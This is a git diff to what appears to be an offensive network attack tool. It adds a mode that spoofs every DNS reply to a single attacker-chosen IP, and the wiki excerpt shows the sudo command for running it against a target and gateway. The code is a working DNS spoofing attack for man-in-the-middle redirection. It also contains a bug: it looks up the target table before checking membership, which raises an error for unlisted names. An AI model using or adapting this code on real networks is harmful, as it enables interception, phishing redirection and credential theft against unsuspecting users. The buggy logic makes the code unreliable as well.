diff --git a/modules/dns_spoof.py b/modules/dns_spoof.py index 1e04a1c..3f32ce5 100644 --- a/modules/dns_spoof.py +++ b/modules/dns_spoof.py @@ -6,6 +6,8 @@ import json dns_hosts = {} +allwebsitesflag = False +redirect_to = "" def process_packet(packet): """ processes captured packets """ @@ -24,12 +26,18 @@ def modify_packet(packet): """ modifies dns packets """ global dns_hosts + global allwebsitesflag + global redirect_to + qname = packet[DNSQR].qname - if qname not in dns_hosts: + spoofto = dns_hosts[qname] + if qname not in dns_hosts and (not allwebsitesflag): print(f"{utils.colors.BLUE}ignoring {qname} (not on target list){utils.colors.RESET}") return packet - print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{dns_hosts[qname]}{utils.colors.RESET}") - packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) + if allwebsitesflag: + spoofto = redirect_to + print(f"{utils.colors.GREEN}spoofing {qname} to {utils.colors.BLUE}{utils.colors.ITALIC}{spoofto}{utils.colors.RESET}") + packet[DNS].an = DNSRR(rrname=qname, rdata=spoofto) packet[DNS].ancount = 1 del packet[IP].len del packet[IP].chksum @@ -50,10 +58,19 @@ def load_targetlist(filename): def start_spoofing(recordsfile): """ starts spoofing dns reponses """ - + + global allwebsitesflag + global redirect_to + + allwebsitesflag = recordsfile.startswith("all_") + try: print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} starting dns spoofing attack{utils.colors.RESET}") - load_targetlist(recordsfile) + if not allwebsitesflag: + load_targetlist(recordsfile) + else: + redirect_to = recordsfile.split("all_")[1] + print(f"{utils.colors.GREEN}*{utils.colors.ITALIC} redirecting all dns requests to {utils.colors.WARNING}{redirect_to}{utils.colors.RESET}") queue = NetfilterQueue() queue.bind(0, process_packet) queue.run() diff --git a/modules/utils.py b/modules/utils.py index a1f927c..e27ba1d 100644 --- a/modules/utils.py +++ b/modules/utils.py @@ -43,7 +43,7 @@ def logo(): print(f"""{colors.BOLD}{colors.BLUE} ___ _ _ - | _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2{colors.BLUE}{colors.BOLD} + | _ _ (_(_. _ _ _ |_ _ {colors.RESET}v1.2.1{colors.BLUE}{colors.BOLD} || (_|| | |(_(_|| )|_(- {colors.RESET}by {colors.ITALIC}{colors.GREEN}{colors.UNDERLINE}n0nexist.github.io{colors.RESET} """) diff --git a/wiki/dns-spoofing.md b/wiki/dns-spoofing.md index defaa3c..3cc27fa 100644 --- a/wiki/dns-spoofing.md +++ b/wiki/dns-spoofing.md @@ -1,6 +1,7 @@ # [wiki]::DNS spoofing
{ "mydomain.it.": "192.168.1.113", "otherdomain.com.": "192.168.1.113" }
sudo python3 main.py [target ip] [gateway ip] dns records.json
192.168.1.113
,